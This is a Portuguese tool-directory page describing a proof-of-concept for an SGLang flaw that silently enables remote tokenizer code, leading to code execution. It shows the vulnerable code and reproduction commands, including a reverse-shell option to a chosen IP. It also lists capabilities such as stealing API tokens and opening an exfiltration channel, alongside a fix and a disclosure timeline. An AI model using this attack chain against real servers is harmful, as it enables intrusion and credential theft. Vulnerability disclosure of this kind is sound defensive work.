Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/gouldnicholas/cve-2026-7669-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança da Cadeia de SuprimentosFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubgouldnicholas/cve-2026-7669-poc

CVE-2026-7669-PoC

PoC para CVE-2026-7669: substituição silenciosa de trust_remote_code no SGLang -> RCE

Ver Repositório
4há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-7669

O SGLang silenciosamente substitui trust_remote_code=False por True e re-invoca AutoTokenizer.from_pretrained sempre que o transformers v5 retorna um objeto TokenizersBackend. Um modelo com um tokenizer_class personalizado e um auto_map apontando para tokenizer.py alcança execução arbitrária de código dentro do processo do SGLang mesmo quando o operador passou False. Nenhuma linha de log é emitida em nenhum nível.

  • Projeto: https://github.com/sgl-project/sglang
  • Afetado: 0.5.10 até o main atual (commit fae90abf6)
  • Não afetado: 0.5.9 e anteriores
  • Código vulnerável: python/sglang/srt/utils/hf_transformers_utils.py:898-909
  • CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Alta
  • CWE: 693, 94, 829
  • Código vulnerável

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        tokenizer = AutoTokenizer.from_pretrained(
            tokenizer_name,
            *args,
            trust_remote_code=True,
            tokenizer_revision=tokenizer_revision,
            clean_up_tokenization_spaces=False,
            **kwargs,
        )
    

    Introduzido no PR #17784 (commit d1e95af28, 2026-03-18). O aviso original logger.info(...) foi removido pelo commit 27ac831a8 (2026-03-23) sob um título "docs: improve CI and testing documentation", deixando a substituição totalmente silenciosa em todas as versões vulneráveis lançadas.

    Reproduzir

    root@kitploit:~
    git clone https://github.com/<sua-org>/CVE-2026-7669.git
    cd CVE-2026-7669
    ./run.sh
    

    Constrói uma imagem Docker (python:3.12.7-slim-bookworm + transformers==5.3.0

    • código-fonte SGLang fixado) e executa o PoC. Cerca de 30-60 segundos na primeira execução. Nenhuma GPU necessária.

    Outros modos:

    root@kitploit:~
    ./run.sh --server         reproduzir via TokenizerManager.__init__
    ./run.sh --versions       matriz transformers 5.0..5.5
    ./run.sh --revshell IP    reverse shell opcional para IP:4444
    ./run.sh --rebuild        forçar reconstrução --no-cache
    ./run.sh --copy-ledger ./ledger.json
    

    Veredito

    Saída 0 significa confirmado. Resumo final:

    root@kitploit:~
    Phase 1   transformers + False             return=TokenizersBackend     exec=False
    Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
    Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
    Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
    Phase 3   REAL sglang + False (lento)      return=MaliciousTokenizer    exec=True
    
    Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Alta
    
    *** VULNERABILIDADE CONFIRMADA -- TODAS AS AFIRMAÇÕES COMPROVADAS ***
    

    Códigos de saída:

    CódigoSignificado
    0Confirmado
    1Não acionado
    2Falso positivo (o próprio transformers executou tokenizer.py, o bug é upstream)
    3Pré-verificação de versão fixada falhou

    Ambiente fixado

    A fase de pré-verificação lê pinned_versions.json e valida cada valor contra o ambiente de execução. Desvios saem com código 3 antes de qualquer teste ser executado.

    ComponenteFixação
    Python3.12.7-slim-bookworm
    transformers5.3.0
    Commit do SGLangfae90abf6e15aaffb6fd924a439253674771487d
    SHA256 de hf_transformers_utils.py9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e
    Bloco vulnerável (linhas 898-909) SHA256109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece

    Justificativa CVSS

    MétricaValorComprovado por
    AVNOs arquivos de gatilho (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) são o layout padrão auto_map do HF Hub. Qualquer registro que os sirva alcança o bug.
    ACLPHASE-2 dispara deterministicamente em uma única execução. Cada condição de gatilho é conteúdo criado pelo atacante. PRE-1..7 confirmam que não há fingerprinting de ambiente.
    PRNUpload gratuito no HF Hub é suficiente. Nada na cadeia de gatilho exige privilégio pré-existente na vítima.
    UIRO gatilho dispara apenas quando um operador (ou pipeline configurado pelo operador) invoca launch_server --model-path attacker/model.
    SUTodas as afirmações SEV-* são executadas dentro da autoridade do processo SGLang. Nenhuma fuga de sandbox ou contêiner.
    CHSEV-secrets captura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY do ambiente do processo. SEV-network abre um canal de exfiltração TCP de saída.
    IHSEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip são quatro primitivas de integridade independentes em locais sensíveis diferentes.
    AHInferido a partir de RCE. SEV-pip prova execução arbitrária de subprocessos, que é a mesma primitiva necessária para auto-DoS. O PoC não demonstra diretamente um auto-kill.

    8.8 é o piso conservador. 9.6 (com S:C) e 10.0 (com S:C e UI:N) são defensáveis, mas dependem do revisor.

    UI:N não é justificado para este CVE. O servidor HTTP do SGLang tem um bypass genuíno de sem-autenticação padrão quando api_key=None e admin_api_key=None (verificado por AUTH-1 contra a primitiva decide_request_auth em tempo de execução), mas nenhum endpoint HTTP alcança get_tokenizer após a inicialização (verificado por CHAIN-1). Todos os quatro pontos de chamada de get_tokenizer (TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__) disparam uma vez na inicialização do servidor a partir do --model-path fornecido pelo operador. O bypass de autenticação é, portanto, uma questão separada e não um parceiro de cadeia para CVE-2026-7669.

    Afirmações

    O PoC grava um registro JSON em /tmp/poc_claim_ledger.json com 29 afirmações individualmente testáveis. Use ./run.sh --copy-ledger ./ledger.json para extraí-lo.

    GrupoAfirmações
    PRE-1..7Versões fixadas (Python, transformers, SHA256 do arquivo, contagem de linhas, SHA256 do bloco de substituição, trust_remote_code padrão, caminho do código-fonte)
    SRC-1O código-fonte importado de get_tokenizer contém a substituição
    PHASE-1transformers respeita trust_remote_code=False diretamente
    PHASE-1b, PHASE-1b-mechSGLang sem as linhas 898-909 respeita False e faz exatamente uma chamada from_pretrained
    PHASE-2, PHASE-2-mech, PHASE-2-silentSGLang real executa tokenizer.py. O trace mostra chamada 0 (False)->TokenizersBackend, chamada 1 (True)->MaliciousTokenizer. Nenhuma linha de log menciona trust_remote_code (captura DEBUG no logger raiz e sglang).
    PHASE-2bCorrigido + True explícito ainda carrega (o patch é cirúrgico)
    PHASE-3-rce, PHASE-3-via-overrideO modo tokenizer lento também alcança RCE através do mesmo caminho 898-909
    SEV-write-sglang, SEV-write-launchsrv, SEV-write-modelPrimitivas de persistência e propagação lateral
    SEV-networkCanal de exfiltração TCP de saída
    SEV-secretsCaptura de segredos de variáveis de ambiente
    SEV-pipInstalação pip arbitrária (cadeia de suprimentos)
    SEV-rootProcesso executando como root na imagem lmsysorg
    AUTH-1ServerArgs padrão (api_key=None, admin_api_key=None) deixa todos os endpoints alcançáveis sem autenticação

    Mecanismo

    Arquivos de modelo de gatilho (todos controlados pelo atacante, todos permitidos pelo HF Hub):

    root@kitploit:~
    attacker/model/
      config.json             model_type "gpt2" (em TOKENIZER_MAPPING_NAMES do transformers)
      tokenizer_config.json   tokenizer_class personalizado + auto_map -> tokenizer.py
      tokenizer.json          tokenizer BPE válido (para que o primeiro carregamento tenha sucesso)
      tokenizer.py            payload
      model.safetensors       pesos fictícios
    

    Fluxo de execução dentro de get_tokenizer(MODEL_DIR, trust_remote_code=False):

    1. SGLang chama AutoTokenizer.from_pretrained(..., trust_remote_code=False).
    2. Transformers v5, encontrando um tokenizer_class personalizado que não está em seu registro, recorre a um TokenizersBackend genérico construído a partir de tokenizer.json. tokenizer.py não é executado neste ponto.
    3. As linhas 898-909 do SGLang verificam type(tokenizer).__name__ == "TokenizersBackend" e tentam novamente silenciosamente com trust_remote_code=True.
    4. Transformers, agora instruído a confiar em código remoto, importa tokenizer.py. Declarações de nível superior são executadas dentro do processo do SGLang.

    O PHASE-2-mech do PoC captura o trace literalmente:

    root@kitploit:~
    [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
     {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
    

    Correção

    Exclua as linhas 898-909. TokenizersBackend é um tokenizer utilizável para muitas cargas de trabalho e retorná-lo como está é um padrão seguro. Se um modelo realmente precisar de código de tokenizer personalizado, o operador deve passar --trust-remote-code explicitamente.

    Alternativamente, registre um aviso alto e retorne TokenizersBackend sem re-invocar from_pretrained:

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        logger.warning(
            "Model %s requires a custom tokenizer but trust_remote_code=False. "
            "Returning generic TokenizersBackend without executing tokenizer.py. "
            "Restart with --trust-remote-code if the custom code is required.",
            tokenizer_name,
        )
    

    PHASE-2b verifica que o patch mínimo é cirúrgico: trust_remote_code=True explícito ainda carrega o modelo.

    Divulgação

    • 2026-04-07: descoberto, PoC funcional
    • 2026-04-07: relatado via Relatório de Vulnerabilidade Privado do SGLang e VulDB
    • 2026-05-03: CVE-2026-7669 atribuído
    • 2026-05-04: este PoC publicado

    Créditos

    • Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
    • David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

    Referências

    • Código vulnerável: https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
    • PR introdutor: https://github.com/sgl-project/sglang/pull/17784
    • Commit de remoção de log: https://github.com/sgl-project/sglang/commit/27ac831a8
    • trust_remote_code do HuggingFace: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained
    • CVEs anteriores do SGLang: CVE-2025-10164, CVE-2026-3059, CVE-2026-3060

    Este PoC é para pesquisa de segurança defensiva e remediação. O tokenizer.py malicioso grava apenas em /tmp/sglang_poc_proof.txt dentro do contêiner por padrão. Não execute contra sistemas que você não possui ou para os quais não tem autorização para testar.

    Baixar ferramenta
    ADMIN_OPTIONAL
    AUTH-2, AUTH-3Controles positivos confirmando que o middleware bloqueia sem autenticação e aceita bearer válido quando configurado
    CHAIN-1Nenhum handler de endpoint HTTP invoca get_tokenizer() após a inicialização (zero pontos de chamada em http_server.py)
    CHAIN-2Veredito explícito: UI:N NÃO é justificado para este CVE. O bypass de sem-autenticação padrão é real, mas não pode alcançar a substituição de trust_remote_code, porque todos os quatro chamadores de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) são caminhos __init__ disparados uma vez na inicialização do servidor. O operador ainda escolhe o caminho do modelo no momento do launch_server, então UI:R permanece.